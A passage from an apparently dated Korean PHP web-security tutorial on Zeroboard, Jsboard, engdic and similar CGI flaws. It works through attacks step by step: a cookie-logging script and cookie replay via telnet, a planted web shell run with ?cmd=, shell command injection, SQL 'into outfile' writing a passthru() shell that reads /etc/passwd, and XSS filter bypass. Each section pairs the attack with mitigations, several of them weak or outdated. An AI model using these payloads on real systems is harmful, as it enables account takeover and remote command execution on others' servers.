현재 웹브라우저의 cookie 값이 담겨 있는 document_.cookie 를 지정하여 주었다.
zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다.
zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
(zetyxboard_password 의 값은 임의로 설정한 값이다.)
이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을
서버에 저장하는 방법등을 사용해야 한다.
test.php
<?
$fp=fopen("/tmp/zerohack", "a++");
fputs(" 제로보드 쿠키값 $cook\n");
?>
간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인
$cook 을 집어넣는다.
넘어온 쿠키값이 만약
zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
라고 하면 /tmp/zerohack.txt 에는
제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
이 담기게 될것이다.
이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는
방법을 알아보자.
여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다.
(보통 웹서버는 80 번 포트를 쓴다.)
1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
어쩌고.. 저쩌고..
.................
.................
(위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.)
설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는
의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는
의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를
쿠키로 보내겠다는 의미다.
그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면
해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다.
위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게
해야하는지 알아보자.
1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
header=<div%20align=center>&footer=</div> HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다.
주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의
번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.)
exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다.
여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header
file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header
file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니
zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는
파일이 생성이 될 것이다.
이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다.
ex)
http://targetip/zboard/data/imnotj.php?cmd=whoami
결과 = nobody
이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한
공격 방법이다.
해결책을 알아보자.
쿠키 스니핑
먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker
가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게
되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는
경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다.
거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 < 문자로
치환시키는 방법이 좋다.
eregi_replace("<", "<", $comment);
이런 식으로 $comment 의 내용중에 < 가 존재한다면 < 로 바꾸게 끔 만들어
주었다.
쿠키 스푸핑
Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서
Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를
도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의
경우도 대비해야 할 것이다.
필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을
사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명
하겠다.
위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다.
now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데
table 의 구조를 약간 변형하여 IP 도 담는 것이다.
예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지
않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가
admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR
로 체크를 하기 때문에 피할 수 없게 된다.
여기서는 간단하게 소스를 만들어보겠다.
$userip=$REMOTE_ADDR;
$check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
user_id='$cookie_userid' and userip='$userip'"));
하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서
접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker
가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다.
그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과
수고를 하게 할 수 있다.
잘못된 알고리즘
여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로
return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데
이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면
다음과 같이 하자.
$member=mysql_fetch_array(mysql_query("select * from $member_table where
user_id='$cookie_userid' and password='$cookie_password'"));
if(!$member)
{
echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“;
exit;
}
Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘
하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
10) CGI admin 메뉴 주의할점
이번에는 Web CGI 에서 Admin 메뉴를 다룰 때 주의해야 할 점들을 설명
하겠다. Web CGI 에는 대부분 Admin 메뉴 (혹은 기능이) 가 존재한다.
간단하게 방명록, 자료실부터 시작하여 자료 관리 같은 기능이라던지 여러
CGI 에는 Admin 메뉴가 거의 필수이다.
Admin 을 인증하는 방법에는 어떤 것이 있을까. 각 Page 의 앞부분에 Admin
인지 아닌지 체크하는 문법을 넣을 것이다. (조금 더 자세한 인증 방법은
8 번 장을 참고하여라)
다음은 Admin 알고리즘 사용시 주의해야 할 것들이다.
1. Admin Cookie 세팅시에 암호화 사용
2. IP 를 가져와 인증에 사용
3. Cookie Sniffing 못하게 막음
위의 조취를 취했는데도 Cracker 가 Admin 을 획득하였을때에 대한 대비를
알아보겠다.
Cracker 가 Admin 을 땄어도 Cracker 가 할 수 있는 일을 최소화 시켜야
한다. 즉, 본래의 CGI Admin 으로서 불필요한 기능은 CGI 에 넣지 말라는
것이다.
예를 들어 Board 에서 Header 와 Footer File 지정에 대해서 알아보자.
(이 것은 게시판의 머리말과 꼬리말에 들어갈 말을 미리 File 로 정해
놓는 기능이다.)
대부분의 Board 에서는 이런 식으로 처리한다.
include "$header_file";
(여기서 $header_file 은 Admin 이 Web 상에서 지정해줄 수 있다고 가정한다.)
만약 Cracker 가 Admin 을 획득 후 header_file 을 /etc/passwd 로 지정
한다면 게시판의 머리말에는 해당 Server 의 passwd File 이 그대로 보이게
될 것이다.
그리고 Cracker 가 악의적인 기능을 하는 일반 Text File 을 올린 후, 그것을
include 하면 그것은 정상적으로 돌아가는 PHP File 이 된다.
(include 시에 제한하는 확장자는 없다는 것을 알아두자.)
이러한 문제점을 극복하려면 어떻게 해야할까.
$fp=fopen("$header_file", "r");
while(!feof($fp))
{
$msg .= fgets($fp,100);
}
$msg=nl2br($msg);
echo $msg;
위의 방법에서는 Source 를 include 하지 않고, read 한 후 echo 를 하는 방법을
사용하였다. (물론 이렇게 하였을때 정상적인 php 파일을 include 하면, 돌아가지
않는다는 단점이 있다.)
이러한 Admin 기능 말고도 제한하여야 할 기능들은 많이 있다. 가령, Web Root
Directory 밖은 벗어나지 않게 한다던지, System Command 를 이용할 수 없게끔
한다던지 하는 것들이 있다.
여기에서는 Board 를 예를 들어서 설명을 하였는데, 개발자라면 이 글을 보고
Admin Menu 에 어떤 기능을 제한해야 할것인가, 어떻게 하면 Server 의 다른 부분
에 접근하는 것을 최소화 할 것인가, 하는 방법들을 떠올릴 수 있을 거라 생각하고
이 장을 여기서 접겠다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
11) popen 함수의 주의할점
PHP 에서 popen() function 은 Process File Pointer 를 open 하는 것이다.
함수의 원형은 다음과 같다.
int popen(string command, string mode);
fopen 함수와 다른 점은 이 것은 file 이 아닌 Process 를 open 한다는 것이다.
(물론 OS 내부적으로는 File 이나 Process 나 크게 다르지 않게 처리된다.)
그리고 읽거나 쓰기 둘중에 하나만 선택할 수 있는 단방향 Pointer 이다.
string command 를 인자로 popen 을 불르면 command 안에 담긴 내용을 Server 에서
실행하게 된다. 하지만 이 Function 역시 system, exec 함수와 같이 잘못 사용할시에는
서버에 심각한 Security Hole 을 만들게 한다.
실제로 존재하는 CGI 의 취약성을 대상으로 설명을 하겠다. engdic 이라는
프로그램으로 Web 에서 영어사전 기능을 하는 프로그램이다.
engdic 에서 중요 취약성이 되는 부분만을 뽑아내어 설명하였다.
engdic.php
1 if($mode== 'search')
2 {
3 // $word를 아규먼트로 하여 edic을 실행하여 결과값을 $fp 에 저장합니다.
4 $fp = popen( "/usr/bin/edic_ $word", "r");
5
6 // $fp 의 EOF를 만날때까지 값을 읽어들여 edic_str 에 추가를 합니다.
7 while(!feof($fp))
8 {
9 $edic_str .= fgets($fp,100);
10 }
11 pclose($fp);
12 // return 값을 <br> 로 바꾼다.
13 $edic_str = nl2br($edic_str);
14 // 화면에 출력을 한다.
15 echo( "
16 <table border='0' cellpadding='2' cellspacing='0' width='70%'>
17 <tr>
18 <td width='90%'><p><br>
19 <font size='2'>$edic_str</font></td>
20 </tr>
21 </table>");
22 }
/* 쉽게 설명하기 위해 각 줄의 앞에 번호를 달았다. 처음 if 문은 무시하자.
4 번째 라인에서 popen 함수를 이용하여 /usr/bin/edic 프로그램을
open 하려 했다. edic 프로그램의 argument 를 $word 라는 변수로 주었다.
7 번째 줄부터는 popen 으로 연 pointer 를 $edit_str 에 담고 출력한다. */
위의 코드에서 취약한 부분은 4 번째 줄이다. popen 을 할때 /usr/bin/edic 을
실행시키는데 $word 가 인수로 들어가게 된다. $word 는 사용자로부터 입력받는
변수이다. 예를 들어 검색폼에 사용자가 help 라고 한다면, help 에 맞는 뜻을
사용자에게 돌려주게 된다. /usr/bin/edic 을 이용하여 help 의 뜻을 검색하는
것이다. process open 은 shell 을 이용하게 된다. shell 에서 ; 와 | 는 각각
연속 실행, 연결 실행을 의미한다.
그래서 만약에 cracker 가
http://server/engdic.php?word=help;/usr/bin/touch /tmp/imbeist
라고 요청을 한다면 help 라는 단어를 /usr/bin/edic 에서 찾고 세미콜론으로
구분된 뒤의 /usr/bin/touch /tmp/imbeist 를 실행하게 된다. /usr/bin/touch
의 기능은 그 file 의 갱신일을 갱신하는 기능인데 만약에 file 이 없다면
파일을 새로 생성하게 된다. 그러면 파일이 생겼는지 확인을 해보자.
$ ls -al /tmp/imbeist
-rw-rw-rw- 1 nobody nobody 6 Dec 5 03:25 imbeist
생성이 되었다. cracker 는 서버에 명령을 실행시킬 수 있으므로 자신에게
term 을 뛰우던가 port 를 하나 열어서 backdoor 를 만들수도 있을 것이고
일단 shell 을 내준 이상 local 을 점령하는건 그리 어려운 일은 아니다.
해결책을 알아보자.
위의 해결책에는 여러가지 방법이 있다. 위의 상황일때는 앞에 escape 문자를
붙여서 세미콜론을 무시하는 방법도 있겠지만 나는 다른 방법을 추천한다.
예를 들어 $word 변수에는 ; 와 | 가 있을 이유가 없다. (단어에 ; 나 | 가
들어가는 단어가 있는가?)
그래서 $word 변수에 ; 와 | 가 있다면 일단 의심을 해야한다. 만약에 두
문자가 존재한다면 script 실행을 중지하자면
if(ereg(";", $word))
{
echo "장난하니..";
exit;
}
if(ereg("|", $word))
{
echo "장난하니..";
exit;
}
ereg_replace 를 이용하여 ; 나 | 를 "" 빈칸으로 만드는 방법도 괜찮다.
나는 개인적으로 이러한 문제를 처리할때 미연에 방지하는 것이 (예를 들면
스크립트 중지) 좋은 방법으로 생각한다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
12) html hidden 사용시 주의할점
이번 주제에서 다룰 내용은 HTML 에서 hidden type 에 관한 내용이다.
때때로 어떤 CGI 들은 <input type=hidden> 을 이용하여 어떤 DATA 를 숨겨(?)
놓는 경우가 있다. 이는 매우 위험한 방법이고 어떤 경우에는 심각한 Security
Hole 을 일으킬 수도 있다.
먼저 간단한 경우부터 살펴보자.
Spboard 4.5 버전 이하에서는 글쓴이의 IP 를 입력받을 때 사용자가
writeform 을 요청했을때의 IP 를 기준으로 hidden 에 심어놓는다.
(아래에서 설명하는 소스들은 BUG 를 설명하는데 이해하기 쉽도록 PHP 로
바꿔서 설명하였다.)
sample1.html
<html>
<head>
<title>spboard 글쓰기 폼</title>
</head>
<body>
<form action=board.php method=post ENCTYPE="multipart/form-data">
<input type=text name=name>
<input type=text name=subject>
<textarea name=comments></textarea>
<input type=hidden name=id value=test>
<input type=hidden name=action value=write>
<input type=hidden name=ip value=192.168.0.5>
<input type=submit value=글쓰기>
</form>
</body>
</html>
board.php
<?
/* 생략 */
$fp=fopen("$count.txt", "w");
fputs($fp, $ip);
/* 생략 */
?>
html 에서 보다시피 ip 가 hidden 으로 들어가 있다. 이런 상황일때 Cracker 는
임의로 ip 에서 value 값을 수정하여 board.php 로 데이터를 보낸 후 글쓰기를
시도할 수 있을 것이다. board.php 에서는 사용자가 넘긴 변수인 $ip 를 가지고
data 를 처리하기 때문이다.
만약 ip 를 국가기관쪽으로 돌려서 나쁜 내용의 글을 쓴다거나 악의적인 행동을
할수도 있을 것이다. 이런 버그의 류에서 이 방법은 애교에 불과하다.
어떤 경우에 따라서는 System Command Execute 까지 가능한 심각한 Security
Hole 을 불러올 수도 있다.
그럼 이번엔 다른 경우를 알아보자.
예를 들어 포탈 사이트에서 쪽지 기능을 하는 경우로 하자. 이 포탈 사이트에서는
쪽지 database 를 File db 를 사용하고 있다고 가정하자.
쪽지 보내기 html form 을 보자.
<html>
<head>
<title>이 것은 쪽지 보내기 폼입니다.</title>
<body>
<form action=memo.php method=post>
받는이 : beist<br>
쪽지 내용 : <textarea name=comment></textarea><br>
<input type=hidden name=directory value="user/memo">
<input type=hidden name=rfile value="recv.txt">
<input type=hidden name=ruid value=11111111>
<input type=hidden name=rserver value=memo1.server>
<input type=hidden name=rid value=beist>
<input type=hidden name=suid value=22222222>
<input type=hidden name=sserver value=memo2.server>
<input type=hidden name=sid value=testid>
<input type=hidden name=sfile value="send.txt">
<input type=submit value=쪽지보내기>
</form>
</body>
</html>
Hacker 나 Cracker 라면 이 소스를 보고 무엇인가 감을 잡았을 것이다. hidden
으로 이런 정보를 보내는 것으로 보아 memo.php 에서는 hidden 에서 보내는 값을
신뢰하여 쪽지 data 를 처리하는 것이라고 말이다.
한번 테스트를 해보자.
[요청]
http://memo1.server/user/memo/11111111/recv.txt
[결과]
beist 님 안녕하세요?
승진 안녕?
야 임마~
예상대로이다. hidden data 에 있는 rserver 로 접근을 하고, directory 와
ruid 에 있는 대로 접근을 하니까 우리는 상대방의 쪽지를 볼 수도 있었다.
(여기서는 이해를 쉽게 하기 위해 hidden data 에 최대한 많은 정보를 수용
하게끔 소스를 작성한 것이고, 실제로는 저렇게 자세한 정보를 포함하지는
않지만 조금만 연구하면 위의 테스트와 같은 결과를 얻을 수 있다.)
또 send.txt 를 요청하면 상대방이 다른 사람에게 보낸 메모들이 어떤 내용이
있는지 알 수 있을 것이다.
[요청]
http://memo1.server/user/memo/11111111/send.txt
[결과]
나 승진인데~ 요즘 잘지내니?
야 임마~ 연락좀 해~!
성공이다. 상대방의 send.txt 와 recv.txt 를 보는 방법이외에도 suid 나
sid 등을 조작하여 내가 보내지 않은 것처럼 위조도 가능할 것이다.
또, rfile 이나 sfile 을 조작하여 시스템의 다른 file 들도 read, write 가
가능할 것이다. (권한만 가능하다면 말이다.)
조금 더 응용을 하여보면 System Command Execute 까지 어렵지 않게 가능하지만
이 문서는 Cracking 방법이 아니니 여기서 설명을 접도록 하겠다. 간단히 설명
하자면 rfile 을 바꾼 후에, memo 내용에 악의적인 스크립트의 내용을 담으면
되겠다.
해결책을 알아보자.
우리는 이런 버그를 통해서 hidden 에 중요한 data 를 넣으면 보안에 심각한
문제가 발생할 수도 있다는 것을 알아보았다.
이 문제를 해결하는 가장 좋은 방법은 다음과 같은 인식을 갖는 것이다.
'사용자가 보내온 data 를 100% 신뢰하지 말아라.'
첫번째 spboard 같은 경우에는 board.php 에서 다음과 같이 수정하면 될 것이다.
<?
/* 생략 */
$ip=$REMOTE_ADDR;
$fp=fopen("$count.txt", "w");
fputs($fp, $ip);
/* 생략 */
?>
$REMOTE_ADDR 은 환경변수로, 접속한 사용자의 IP 를 뜻한다.
두번째 쪽지 문제의 경우 해결법을 살펴보자.
먼저, hidden 에서 directory 와 rfile, sfile 는 사용자 html hidden 으로 주지
말고 memo.php 에서 정의해두자.
$directory="user/memo";
$rfile="recv.txt";
$sfile="send.txt";
이렇게 해두면 rfile 과 sfile 은 사용자 마음대로 바꿀수 없게 될 것이다.
그리고 보내는이에 대한 모든 data 는 Cookie 나 Session 을 이용하도록 하자.
Session 에 사용자의 id 나 uid 를 저장시켜놓은 후에 가져오는 것이다.
rserver 는 다음과 같은 문법 등으로 database 에서 가져오도록 하자.
select rserver from user_rserver;
이렇게 하면 보내는 이나 받는 이에 대한 정보 조작은 어느 정도 해결이 될 것
이다. 이렇게 하면 cracker 는 쪽지에 대한 경로를 모를 것이다. 하지만
cracker 가 쪽지에 대한 경로를 brute force 라도 해서 알아버렸다고 가정하였을때
의 대처법도 알아보자.
먼저 쪽지 내용이 담기는 file 이 놓인 디렉토리에 특정 설정을 한다. 그 설정이란
httpd.conf 에서 그 디렉토리 밑에 있는 것은 읽지 못하도록 설정하는 것을 말한다.
(httpd.conf 는 Webserver 의 한 종류인 Apache 의 설정 File 을 말한다.)
httpd.conf
<DirectoryMatch "^/.*/user/memo">
AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
.html .htm .shtml .vbs .ins .inc .py
Options FollowSymLinks
AllowOverride None
Order allow,deny
Deny from all
</DirectoryMatch>
이렇게 하면 user/memo 디렉토리 밑에 담기는 file 들은 Web 에서 바로 읽을 수가
없게된다.
[요청]
http://memo1.server/user/memo/11111111/recv.txt
[결과]
Forbidden
You don't have permission to access /user/memo/11111111/test.txt on this server.
Web 에서 바로 읽을 수 없게 설정을 해놓았으니 특정 스크립트를 만들어서 File 을
뿌려주도록 하자.
if(file_exists($file_path))
{
$filesize = filesize($file_path);
if(strstr($HTTP_USER_AGENT,"MSIE")) {
header("Content-Type: doesn/matter\r\n");
header("Content-Disposition:filename=$filename_link\r\n\r\n");
header("Content-Transfer-Encoding: binary\r\n");
header("Pragma: no-cache");
header("Expires: 0");
}
else
{
Header("Content-type: application/zip");
Header("Content-Disposition:attachment;filename=$filename_link");
Header("Content-Description: PHP Generated Data");
Header("Content-Length: $filesize");
header("Pragma: no-cache");
header("Expires:0");
}
$fp = fopen($file_path, "r");
fpassthru($fp);
}
위의 각 변수에 대해서 특별한 설명은 하지 않겠다. 각 변수의 이름을 보고 이 변수가
어떤 기능을 하는 변수인지 짐작할 수 있을 것이다. 중요한 부분은 fopen 과 fpassthru
가 쓰인 부분이다. fopen 으로 file 을 연후에 fpassthru 로 file 의 끝까지 뿌려주게
된다.
이상이 해결책이다. 다시 한번 강조하지만 Client 가 보내는 Data 는 100% 신뢰해서는
안된다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
13) sql 과 cgi 연동시 주의할점
이번 장에서는 SQL 과 CGI 연동 시에 일어날 수 있는 문제점을
알아보겠다. SQL 은 Structured Query Language 의 약자로 구조적 질의어를
뜻한다. SQL 은 Database 의 한 종류인데 WEB CGI 를 만들때 가장 많이
쓰이는 Database 중의 하나이다.
SQL 을 통해서 CGI 는 정보를 조회하거나, 갱신, 추가, 삭제를 할 수가
있다.
SQL 에는 database 와 그 안에 존재하는 table 이 있다. 예제로 beist 라는
database 의 ttl 이라는 table 에 접근하는 방법을 알아보자.
1 <?
2
3 $dbhost = "localhost";
4 $dbuser = "uesr1";
5 $dbpass = "passman";
6 $dbname = "beist";
7 $dbconn = mysql_connect($dbhost, $dbuser, $dbpass);
8 $sel = mysql_select_db($dbname, $dbconn);
9 $result = mysql_query("show tables", $dbconn);
10 $i=0;
11 while ($row=mysql_fetch_row($result)) {
12 echo "$row[$i]<br>";
13 $i++;
14 $i=0;
15 }
16
17 ?>
간단한 내용이지만 잠시 문법을 살펴보겠다. 3~6 번째 줄까지 변수 정의를
하고 7 번째 줄에서 mysql 에 연결을 하였다. 8 번째 줄에서 beist 라는
database 를 선택하였고, query 의 내용을 show tables 라고 보내었는데
이 내용은 beist 라는 database 안에서 존재하는 table 들을 보여달라는
이야기이다.
11 번째 줄부터는 show tables query 를 보낸 후에 나온 결과를 뿌려준다.
[결과]
testta
secret
id1
tabtab
ttl
...........
ttl 이라는 table 이 보인다. 이 정도로 Database 연동 방법을 간단하게
알아보았고, 이제 실질적인 해킹 방법을 알아보자.
어떤 Board 가 있다. Board 에서는 특정 글의 데이터를 요청하는 문법으로
select * from freeboard where no=1
이런 식으로 전달한다. 이 문법은 freeboard table 안에 있는 data 중
no 필드가 1 인 것을 모두 알려달라는 의미이다. query 를 한 후 가져온
data 에 대해서는 정렬이나 기타 필요한 일들을 한 후에 사용자에게
알맞게 보여주게 된다.
SQL 에서 where 절에 쓸 수 있는 것은 or 와 and 등이 있다. 예를 들어서
select * from freeboard where no=1 or no=2
라고 전달하면 no 값이 1 이나 2 인 것을 알려달라고 하는 것이다. 다시
말하면 두 개의 값을 동시에 요청한 것이다.
이제 실제 CGI 를 예로 들고 공격 방법을 알아보자.
Jsboard 에서는 Client 가 특정 글을 요청할때 다음과 같은 문법으로
검사를 한다.
$field0 = "*";
$field1 = "no";
SELECT $field0 FROM $table WHERE $field1 = $no
(만약 해당 글이 없으면 Error 메세지를 뿌려줄 것이다.)
위의 Query 문의 기능은 $no 변수에 맞는 값을 요청하는 것이다. select
문의 where 절에서는 into outfile 을 쓸 수가 있다.
예를 들어서 database 연결을 거친 후 다음과 같은 query 를 보냈다고
하여보자.
select * from ttl where no=1 into outfile '/tmp/test1.txt';
라고 하면 ttl table 안에 있는 값중 no=1 인 것을 /tmp/test1.txt 로
저장한다는 뜻이 된다. 우리는 into outfile 을 이용해서 여러 가지
hacking 을 시도할 수가 있다.
먼저 Jsboard 에 글을 쓰자. 글의 본문에
<?
passthru($beist);
?>
위와 같은 내용을 써서 정상적으로 글을 올리자. 그리고 자신이 쓴 글이
몇번의 no 를 가지는지 알아보자. 만약 no 가 444 라고 한다면 다음과
같이 요청을 하자.
http://server/jsboard/read.php?table=test&no=444 into outfile '/home/httpd/html/jsboard/data/test/files/test.php'
위와 같이 요청을 하면 실제로는
select * from test where no=444 into outfile '/home/httpd/html/jsboard/data/test/files/test.php';
이렇게 전달이 될 것이다. 444 안에는 passthru Function 이 담겨있으니
test.php 를 이용하여 우리는 Server 에 System Command 를 실행시킬 수
있을 것이다.
[요청]
http://server/jsboard/data/test/files/test.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
passwd 파일을 볼수 있다.
위의 공격 방법에는 단점이 있다. 위의 경우는 php.ini 에서 magic_quotes_
sybase 를 Off 로 해두면 ' 나 " 앞에 Escape 문자가 붙는데 이렇게 되면
Sql Qeury 시에 Error 가 나서 공격이 성공하질 않는다.
하지만 다양한 Query 변조를 시도하여 ' 나 " 를 사용하지 않고도 Hacking
을 한다던지, 아니면 ' 와 " 앞에 Escape 문자가 붙지 않도록 한다던지하는
방법등은 나오게 될 것이다.
꼭 위의 방법 말고도 여러 가지 방법으로 Data 를 조작하거나 System 에
피해를 입히는 방법은 많이 있을 것이다. 이 방법은 Query 변조를 이용한
공격의 한가지 방법을 보여준 것이다.
(asp 와 ms-sql 시의 연동시에 Hacking 은 mysql 과 php 연동시보다 조금
더 유연하고 편하게 할 수 있다. 원리는 같으므로 설명하지 않겠다.)
해결책을 알아보자.
위의 경우 $no 변수에 들어갈 값을 Check 해야 할 것이다. $no 변수에는
숫자 말고 다른 변수가 들어갈 이유가 없다.
다음과 같이 $no 에 영문자가 들어가 있는지 검사를 하자.
if(eregi("^[a-z]", $no))
{
echo "no 에는 영문자가 들어갈수가 없습니다.";
}
하지만 어떤 query 에는 영문자가 들어가야 하는 경우도 있을 것이다.
그럴 경우의 대처 방법은 query 를 보낼때 ' 와 " 를 이용하 변수를 묶는다.
read.php
select * from test where no='$no'
라고 했을때 read.php?no=1 or no=2 라고 입력하여도 실제로는
select * from test where no='1 or no=2'
라고 입력되는 것이다.
하지만 이 방법은 magic_quotes_sybase 가 On 으로 되어있으면
read.php?no=1' or no='2
이런 식으로 요청하면 무용지물이 된다.
그렇지만 Off 로 되어있을때 ' 나 " 로 묶지 않는다면 Cracker 가 자료를
변조하기가 더 쉬워질 것이므로 모든 Query 문의 변수에는 ' 나 " 로
묶도록 하자.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
14) 메일 서비스 회사의 알고리즘 문제
이번 장에서는 메일 서비스를 하는 Site 들의 잘못된 알고리즘 사용으로
인한 Hacking 취약성에 대해서 알아보겠다.
먼저 Hacking 에 취약한 잘못된 알고리즘에 대해서 알아보기 전에 Cookie
를 훔쳐오는 또 다른 방법에 대해서 알아보자.
Cookie Sniffing 은 한때 Issue 가 되었던 Hacking 방법으로 대부분의
포탈 사이트에서 Cracker 가 마음만 먹으면 Cookie 를 다른 사용자로부터
쉽게 가져올 수 있다. 보안계에 Issue 가 되고 나서 Cookie Sniffing 에
대한 대책으로 다음과 같은 방법이 나오고, Site 나름대로 Patch 를
하였다.
1. Cookie Sniffing 에 사용되는 Java-script 문자열을 필터링 한다.
2. <script> 를 필터링 한다.
3. java-script 를 필터링 한다.
4. 기타등등
(일반적인 Cookie Sniffing 방법에 대해서는 8 번 장을 참고하라)
위와 같은 조취를 취하면 일반적인 Cookie Sniffing 은 할 수 없을 것이다.
왜냐하면 예를 들어서
<script language=java-script> 라는 문자열이
<x-script language=java-script> 등으로 바뀌어서 사용자의 Web Browser가
이 것을 Java-script 라고 인식을 하지 못하기 때문이다.
하지만 Script 는 Script 자신을 Java-Script 라고 명시를 하지 않아도 사용
할 수 있는 방법이 있으며, 꼭 <script> 로 시작하지 않아도 가능하다.
첫번째에는 Visual Basic Script 인 vbscript 를 사용할 수 있으며 두번째는
일반적인 html 태그 사이에 Java-Script 를 끼워 넣으면 된다.
첫번째 방법은 <script> 문자열을 필터링하니 <script language=vbscript>
이런 식으로 사용 할수가 없으므로 두번째를 사용하겠다.
어떤 식으로 가능한지 살펴보자.
<a href=tt.html o-nclick=alert("haha")>keke</a>
위의 태그는 tt.html 이라는 파일에 대한 Link 태그이다. 그런데 중간에
보면 o-nclick 이라는 것이 있다. 이 것은 Java-Script 의 한 종류로써 keke
를 마우스로 클릭했을때 haha 라는 내용의 창을 띄우게 된다.
여기서 분명히 Java-script 를 사용했지만 Java-script 라고 명시한 적은
없다. 인터넷 익스플로러는 기본적으로 사용할 Script 에 대한 이름을
특별히 명시하지 않으면 자동으로 인식한다. 그래서 java-script 라고
명시를 하지 않았어도 사용이 가능했던 것이다.
Cookie 를 다른 곳으로 전송하고, 그것을 저장하는 방법은 8 장에 대해서
자세히 설명을 하였으니 이 방법에 그것을 응용하면 Cookie Sniffing 은
어렵지 않게 가능할 것이다.
Java-script 에는 O-nclick 말고도, On-MouseMove, On-load, OnUnload 등
여러가지 Action 이 많기 때문에 HTML 태그에 맞추어서 알맞게 넣는다면
Cracker 는 쉽게 사용자의 Cookie 를 가져올 수가 있다.
이제 Cookie Sniffing 에 대한 내용은 접도록 하고, 이 장의 가장 중요한
내용인 메일 서비스 CGI 의 알고리즘 취약성에 대해서 알아보자.
많은 Mail CGI 에서 Cookie 를 다룰 때 잘못된 방식을 다뤄 심각한
Security Hole 을 만들어 낸다.
일반적으로 사용자가 메일 CGI 를 이용하기 위해 Login 하고, 그것을
이용하는 절차를 알아보면,
1. Mail Site 접속
2. Login 시도
3. Server 에서 ID, PASSWORD 가 맞는지 확인
4. 맞다면 사용자의 Browser 에 Cookie 를 세팅함
